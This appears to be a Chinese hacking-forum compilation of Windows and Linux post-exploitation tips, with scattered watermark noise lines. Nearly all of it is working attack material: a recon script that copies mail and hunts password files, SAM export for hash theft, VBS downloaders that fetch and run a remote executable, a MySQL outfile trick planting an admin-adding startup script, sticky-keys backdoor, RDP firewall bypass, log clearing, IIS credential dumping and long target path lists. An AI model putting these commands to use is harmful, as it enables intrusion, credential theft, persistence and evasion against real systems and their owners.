（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
; g3 w! f) H6 s) w- f% a——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
: K5 W; K3 m# [1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
) I+ e, ?0 m8 @6 Balzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
) b+ g; p7 c# y& X若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
# b" X* j) Y$ W" z0 @4 W6 i! q9 N}  

提权先执行systeminfo
8 \; o$ h) }8 [" s7 P, q6 e2 _2 ]token 漏洞补丁号 KB956572
Churrasco          kb952004
命令行RAR打包~~·
2 }: s; o- B  E2 N8 ^3 A) Jrar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
for window：
) d' V+ }8 ]8 U& A
@echo off
echo #########system info collection
systeminfo
ver
3 ~: v* s$ \1 P# f; ihostname
# B$ [7 ~1 }' S* Z# Hnet user
% K) u, v, |" x3 }+ Mnet localgroup
1 O  ?! G+ ^, c' A" a5 Jnet localgroup administrators
net user guest
* F- v) ?$ J# d. S) `; h# v$ mnet user administrator

* Q4 [4 ?. m+ Z* {) @/ g) e* O- mecho #######at- with   atq#####
* _/ ?) q! F# z$ becho schtask /query

echo
" i! _2 G& n/ Z8 \  Zecho ####task-list#############
+ i3 q/ y3 _- S! m& m$ @( T: v0 l/ i# Otasklist /svc
echo
' n& J2 W+ I. p: L: `echo ####net-work infomation
3 ^8 t5 v! [" l1 z+ p9 cipconfig/all
- f0 s% r2 W( `: ]$ O& Oroute print
arp -a
+ k6 _& L. X3 {netstat -anipconfig /displaydns
+ `5 h" Z( k. {% P$ ~! Eecho
% ^) b) t! o$ I1 j4 t) b" mecho #######service############
7 P* J' w5 [+ S5 O$ Z. B. y' xsc query type= service state= all
echo #######file-##############
7 B! d$ h$ z" j5 X; Fcd \
tree -F
2 K  z. V1 S& Q7 f- P' e, ^: X0 Hfor linux：
' C# B2 Z% M$ z# ]9 O* ?2 \1 v
#!/bin/bash
" A! v5 Z7 A3 Z; l
echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
. e: A! Y2 O, w0 G3 Secho #######basic infomation##
cat /proc/meminfo
$ c. Z  [. c2 N+ R% n8 G  U! Lecho
cat /proc/cpuinfo
' c+ B# y( a  f7 Z+ K. M8 c2 {0 Aecho
2 h( ~' {* `+ p4 O) ?3 t9 erpm -qa 2>/dev/null
######stole the mail......######
0 G2 i: I: {  O) N- Rcp -a /var/mail /tmp/getmail 2>/dev/null


echo 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
echo #####about var#####
set

echo #####about network###
3 @2 k6 x0 q# [; |####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
ipconfig -a
arp -v
echo ########user####
3 G4 @4 U; g: K& C4 y) Z" r6 Scat /etc/passwd|grep -i sh
. F  o: N* z# I5 Z' Y6 k& U
& X( S9 |, k/ E+ |0 necho ######service####
6 h6 d6 z, x% g- Uchkconfig --list

6 l/ g2 y8 @* l! h( N7 Mfor i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done
  e  Q+ Z) ^, E/ a# R7 Q  w8 ~
locate passwd >/tmp/password 2>/dev/null
' o7 D3 N* L4 |sleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
; ?- i6 X+ @" m- D; Elocate conf >/tmp/sysconfig 2>dev/null
$ j( Z: O% }! w* d- Ssleep 5
, c' H8 c8 g! C7 tlocate config >>/tmp/sysconfig 2>/dev/null
sleep 5
  @7 m9 W) J' u1 Y* f
! v7 P8 O# [7 J! l4 a1 }* o###maybe can use "tree /"###
echo ##packing up#########
. N- ?6 e. G7 q* ztar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
$ |$ `2 K7 L  @2 E- T; U& O9 p& Rrm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
. a3 t) {  A( G# U3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
+ E* x  t$ J7 J3 }接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
9 _. k1 I5 I2 O" p( v4 l1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
- J# d! ~6 v! z. b8 Iecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
# B: w& \& W) H% f# m6 [4 Fecho sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
2 T( c) C: ?  j) J: `cftmon.vbs

2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
+ O& r5 N: H5 OSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
% |( W9 ]5 U9 V& H6 e+ Z5 PSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

* Q' X! W" R/ `) v- c1 U/ ucscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

  O$ ?; {7 s- }4 o; d当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
! P3 H2 f5 r$ p4 M' x5 d+ y; ~——————————————————
: \: f) o( [' Y% X5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
1 Z% Y. z) ?3 J2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
3 I$ D/ ~1 o; ^; Z! wREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
' x/ S! C9 T8 [" o# [3 xinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
1 w# x; P" a8 I! t  R+ g————————————————————
6 c% B) {% x4 F* L7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
5 r& `7 ^9 r2 i5 h( J; Q; Y: n_____
8、for /d %i in (d:\freehost\*) do @echo %i
; |. w2 M$ M* u) d  O
列出d的所有目录
- ?% m' x8 M" H; T9 d6 n% ^  
  for /d %i in (???) do @echo %i
8 {; F! Z8 @7 ]* z& x7 s# u, A
3 P" U' c0 G/ x  j. I7 ?7 |' M把当前路径下文件夹的名字只有1-3个字母的打出来
' @' p) g2 o  t6 s1 J+ q! x
2 c! K+ J* ]  u1 ~: d: N) R2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
" Y/ u3 [  @' g, A3 i$ y; j/ w* Z0 x
3.for /f %i in (c:\1.txt) do echo %i
  
% z8 @$ d9 `" K& T8 L3 f* e! I  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
' {& @# `1 c' y8 h# j
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

0 K+ h# N" {. Y& ^  delims=后的空格是分隔符 tokens是取第几个位置
$ b: A% t. X, I# z! R& K——————————
●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
3 q1 z" Z; b& b5 GHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
# t/ u; W+ w/ H" p4 a6 v
: A) N& h2 Q% G& Y6 T4 T& t3.清除3389登录记录:
# p  b$ V- @' h  S1 u$ @4 q: S' n4 kreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
* |! Y" i; O+ Q" Q; @* h/ B/ z& H+ P
4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg
) O5 l5 `, B6 d/ [
5.禁用TCP/IP端口筛选(需重启):
7 E  R  t* h% x6 V* W5 ?- e5 sREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
( j) l+ l& e, w9 S2 Q
6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
2 H5 b( I( Y% d% }5 M( R3 [( i: o" ynetsh ipsec dynamic set config ipsecexempt value=0
6 w# o! t( @* Q9 l
7.停止指派策略"myipsec":
4 V; J& f* }) P5 z  q, anetsh ipsec static set policy name="myipsec" assign=n
9 U2 Z6 q5 a  J/ A' p& K# p
8.系统口令恢复LM加密:
/ `- |' F& M( d; v! ?reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
+ O$ t0 S$ j1 j
. k! \/ l% ?) Z! T9 I/ ~/ P# J  _, _4 ~9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

0 [( m/ ~. X( |# @  v3 y; Creg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
" W, T( z' {: G2 Y+ N/ I% u3 fSet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
, X" H4 Y, e8 i/ p" CchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
3 \/ b" J7 R: Rif IsNumeric(childObjectName)=true then
2 \' v) t, a# V4 Q! u+ rset IIs=objservice.GetObject("IIsWebServer",childObjectName)
) x/ a( G" u9 c5 v0 Pif err.number<>0 then
9 [- o- T( s0 A8 Q# zexit for
6 }/ _0 I6 u* o! tmsgbox("error!")
" J5 g1 f+ r/ @  l' K5 W+ W. P( Owscript.quit
/ z" L4 }: B1 \) V) Oend if
! ~1 _& ^4 n+ Q4 c) _0 M& o) b( Wserverbindings=IIS.serverBindings
% K, T; b  j' A6 aServerComment=iis.servercomment
/ z" y- k4 `6 h3 w# Qset IISweb=iis.getobject("IIsWebVirtualDir","Root")
+ z: [2 A4 c' s7 k; D) muser=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
3 L0 g8 N: F% J- A0 V% Dend if
Next
wscript.echo list
Set ObjService=Nothing
9 X! ?* F4 i/ O! O# ~: iwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
7 m8 b5 ?" g7 w9 n' ZWScript.Quit
' |1 |( h  u5 c! [复制代码
1 P+ l$ ~- q1 u; O----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
2 y, S4 `  `$ {0 L7 O1 r) |将folder.htt文件，加入以下代码：
! }7 b3 r6 o# u3 s<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
9 ?0 o7 \) }/ K5 B然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
! R( B6 z5 ~7 m$ X* k& yPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
  Q! [5 x/ ]4 v, ]5 D  q/ Y/ r7 k url=request.severvariables("url")
  \& \' g, y8 r) J$ L  X 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
+ C8 ?1 q  B& }, v% R7 b2 n% x0 e 解决方法
3 i7 D8 `9 [- j0 \$ l url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

==============================================================
6 w4 g# b1 Y% h; _6 yLINUX常见路径：
  h- G/ H& _! _3 E
/etc/passwd
/etc/shadow
, p7 s! i$ \2 j4 E/etc/fstab
/etc/host.conf
/etc/motd
/etc/ld.so.conf
# T3 I* W9 w3 o6 v/var/www/htdocs/index.php
0 H/ ^3 a( a! A5 e) n. q/ ~. F/var/www/conf/httpd.conf
2 w& [+ V0 H2 i$ h/ n/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
3 C2 _: k3 f5 [/ o/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
+ B2 c- q7 y7 Z$ }/var/httpd/conf/php.ini
/ M6 u6 A0 ^$ L/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
  L4 M* t0 T& x3 j: o$ n4 r! }/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
1 s7 X: y" w4 `/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
5 {- B* A& w/ D9 D+ b* j( N% i/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
% b$ G1 I" E5 b* q1 Q. v1 Q/usr/local/httpd2.2/htdocs/index.html
$ R& v3 x0 `$ Z+ e/tmp/apache/htdocs/index.html
* z' }0 d) X+ q2 m, N; s/tmp/apache/htdocs/index.php
& ]# P, o: r4 o: U0 u& u5 G* r/etc/httpd/htdocs/index.php
' R4 H# U! N: f# Z8 ~$ i. G/etc/httpd/conf/httpd.conf
, J; `; J3 Q" H! w0 \/etc/httpd/htdocs/index.html
/www/php/php.ini
. Z5 V% B" [) q9 l* M' C. Y# S/www/php4/php.ini
/ u; \" S6 U. |, h& ~* u3 O/www/php5/php.ini
. K: V- {4 L& n( ~: ^$ H& Q' }/www/conf/httpd.conf
3 J4 ~& O! K7 N# G3 n/www/htdocs/index.php
7 P  J+ ^& R. H. g/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
$ r# y& `$ A( Z( S' e% i8 D/ ?9 W/etc/apache/apache.conf
) T/ z+ N  f* s/etc/apache2/apache.conf
2 S2 `3 g' I6 W4 L/ ]7 m/etc/apache/httpd.conf
: I4 k& Q- H, J9 f8 d/etc/apache2/httpd.conf
5 D  ]  ~9 r6 B5 l7 K8 d/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
- w0 |/ |" n! J/etc/mysql/my.cnf
# g$ K4 V9 z5 Y8 O1 \9 U/etc/httpd/conf.d/php.conf
5 U1 H: p0 U# \6 j1 i1 n# ?/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
9 q/ N' ^) N$ h8 C0 |' D) D  z* I& F/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
$ N/ l% P$ I( x; L' Q; s. x/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
$ ~3 ~& n" r. k/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
3 m0 h3 L. o+ r& r+ J6 Q$ h8 N9 A/var/log/apache2/error.log
/var/log/apache2/access_log
* j) V+ F9 U+ }/var/log/apache2/access.log
, B8 u! a  k: u/var/www/logs/error_log
/var/www/logs/error.log
/ l3 e3 P' V, j/var/www/logs/access_log
% y; y/ w3 [3 g" }; r/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
$ U7 Q/ S) r6 U( s- m. N/ y/usr/local/apache/logs/access_log
4 B2 W1 T0 L& G5 X/usr/local/apache/logs/access.log
; W- ^$ n4 y* m; }( x/var/log/error_log
/var/log/error.log
/var/log/access_log
8 }' R# ~, Y2 ~7 b8 F& d7 P/var/log/access.log
6 {. w  X+ D' H0 p% G/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
# J$ K. x4 J% l% \. p3 s/ D% M( s/bin/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
& w$ Z% k8 _9 B# W) |5 k9 J  R0 T7 X/usr/lib/php.ini
/usr/lib/php/php.ini
8 A) q5 ?& c/ ^( e/usr/local/etc/php.ini
/usr/local/lib/php.ini
' f8 d; _; N0 J7 ?# E; G, Y2 F/usr/local/php/lib/php.ini
# A3 O  l" y# z2 b; X0 w2 D/usr/local/php4/lib/php.ini
' l0 v  C* ?/ V7 M- D/usr/local/php4/php.ini
, Y' z$ F- r( V, ~& s. }# ~5 c/usr/local/php4/lib/php.ini
0 K) g! H* K3 e& N/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
1 h8 d3 ^- G' I* G2 u, Z/usr/local/apache/conf/php.ini
' p% m9 P+ p- r  h( F% i) r4 u/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
; A. V. i# j+ L2 B* [8 G2 ?/usr/local/apache2/conf/php.ini
* X( A# H/ B2 j. a: o5 n/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
5 w. K1 j/ f3 p6 a6 ]/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
; V" W" h5 m; h; F7 ?& r/etc/php5/apache2/php.ini
/etc/php/php.ini
9 s! a- r- i  k' I2 P; @5 H3 M4 l/etc/php/php4/php.ini
. s. I/ z; z5 x1 w/ J+ u% K/etc/php/apache/php.ini
/etc/php/apache2/php.ini
3 i. b  g$ j, P9 m, o/web/conf/php.ini
/usr/local/Zend/etc/php.ini
, S# T# s; S# h& c- A2 V: R+ e  h/opt/xampp/etc/php.ini
- a! J4 B3 J  [- W/ h/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
4 T0 c. d! p4 x; A" C" I( ?. T& I/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
6 K: M5 k' h5 o+ |/php5/php.ini
/php4/php.ini
( n! r3 r  B+ r* q  r/php/php.ini
1 [- ]& b% M; w- H5 l$ k" J& S/PHP/php.ini
( [( F" ^% A% N# T5 I$ f) \( |/apache/php/php.ini
/xampp/apache/bin/php.ini
  p$ G! y& v) ~( v" e/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
1 P. z* d2 ?! n) K; h/home2/bin/stable/apache/php.ini
' `4 C& D, b6 m" L- J2 j3 j/home/bin/stable/apache/php.ini
' {" V7 }( l! j' D4 W9 l3 A/var/log/mysql/mysql-bin.log
/var/log/mysql.log
+ A, c& M) [+ `% }& S/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
( M: V8 V; l2 g6 W/var/lib/mysql/my.cnf
) V) ~& r7 ~9 W7 q% g/usr/local/mysql/my.cnf
1 p5 c9 r* Q) F$ z! F! p3 k+ ~" m" C/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
7 K! M- x0 e4 q+ M- J/etc/my.cnf
- u8 J+ ?; i* _( O$ s/usr/local/cpanel/logs
1 y% W# W! O+ U3 V9 I6 v0 }, A9 i/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
; A! w! |3 v" L( |$ e: p+ B/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
+ I; N% `& H( S3 R, C( ~% B/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
# I& C( {% ?, `' h) _2 Z/usr/local/share/examples/php/php.ini
( r7 |- W  y& W
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
' C. _$ S  \% |8 t
c:\windows\php.ini
" d( v1 N2 k8 M& Uc:\boot.ini
$ a. o7 p, w, _8 N5 @c:\1.txt
5 K$ U2 D. T- x5 H1 Q6 Hc:\a.txt
5 j) k+ X3 a; c  z2 A3 }, Z8 M
, q% p2 l/ {0 x' b; bc:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
/ k$ u, W+ ?$ C' r& h" ?* `# P6 pC:\WINDOWS\FreeHost32.dll
" K. w( e. ]' A7 TC:\WINDOWS\7i24iislog4.exe
/ y3 l$ M; A7 U' T3 m) kC:\WINDOWS\7i24tool.exe

; {: j/ V% N3 Qc:\hzhost\databases\url.asp
9 x" l. }* ^3 _/ |$ _
c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

3 P4 g! U' r# F8 K4 mC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
- r! h7 A0 u$ V; k: Rc:\www\index.html
: }2 |2 L* a, H' `' }0 Zc:\WWWROOT\index.html
0 T) R' ^& i: w6 g4 nc:\website\index.html
c:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
: ], f1 ]/ I3 j5 B3 ]$ K3 Zc:\web\index.php
; M. L8 m. M1 f/ p8 h  {& j. Z4 _c:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
9 I! q6 z: |- zc:\WWWROOT\default.html
c:\website\default.html
c:\web\default.asp
& q; J2 W1 |& O/ k1 @c:\www\default.asp
c:\wwwsite\default.asp
9 N0 Z: o2 F) E% ac:\WWWROOT\default.asp
; |7 N. L# A! ^c:\web\default.php
: n8 k9 j* S  Ac:\www\default.php
% m" Q6 `# [9 `( x. }c:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
3 M. \+ I3 m4 R& M# I3 g; k: O3 Wc:\windows\notepad.exe
c:\winnt\notepad.exe
" S1 d; w' [# U% l) a8 k0 H8 ?4 ~# YC:\Program Files\Microsoft Office\OFFICE10\winword.exe
2 W, V( |4 z' Y! `C:\Program Files\Microsoft Office\OFFICE11\winword.exe
8 ^, e  G$ J* D) HC:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
5 ^6 K. I6 A& i. z% @. ^0 ?4 SC:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
) C* p6 j1 h" s- _' ?c:\rising.ini
! M2 G$ C7 q& |  K8 {C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
" T+ [% ~: L6 K9 e$ QC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
! }# z: E& y) l+ L1 gC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
7 K  `2 o( P# h2 v, gC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
$ x2 T, T# q' _. G# r( R4 f, DC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
  `' ?8 j" t, V0 n& ^  b; r9 BC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
7 V+ U4 y" A' L! _C:\Program Files\Symantec\SYMEVENT.INF
  `, F) b3 Z9 @& v; H: DC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
- X: \& g) @4 X; `- PC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
' w0 \* M8 ?, ~3 b) l+ JC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
1 F( H3 P# f! G. hC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
, y7 @$ F/ W  b0 h0 o! RC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
( Y" x# K6 s! y3 n6 RC:\Program Files\MySQL\MySQL Server 5.0\my.ini
! j- z" C) p' T8 ]" l% pC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
& o1 `/ v: I& A1 w; [C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
, Z; q0 F* V7 Q( a6 j( ic:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
# o5 l* T% e% B/ QC:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
& o  e4 B) }7 e! n5 S, G7 zC:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
$ F1 v5 H9 M2 n7 V7 yC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
% g4 j7 u* j2 M4 wC:\WINDOWS\system32\config\default.LOG
* l& N& N! b% `+ V3 P) b  [' OC:\WINDOWS\system32\config\sam
1 F' T8 q2 E% d' DC:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
( O/ F' A# D# D7 fc:\program files\CMailServer\config.ini
6 n+ V- [# U0 J* q0 p# q; Nc:\tomcat6\tomcat6\bin\version.sh
3 `/ e9 S2 \$ H- bc:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
' L# k* D5 t5 u# ~" rC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
' U8 C; \3 y* Wc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
4 s7 K) J  G$ l6 r* K: ?) ac:\Apache2\Apache2\bin\Apache.exe
, g5 |, p2 f: I* K4 J& ^% J, Uc:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
, o! Q1 Z# A* L- `+ O' |0 w9 I7 KC:\Program Files\Apache Group\Apache2\bin\Apache.exe
6 h. t) z) ^; S* Z+ Y/usr/local/tomcat5527/bin/version.sh
! W1 T5 {* F0 B% X/usr/share/tomcat6/bin/startup.sh
* P) f9 ]8 \% O. N2 t5 t7 \* b% R/usr/tomcat6/bin/startup.sh
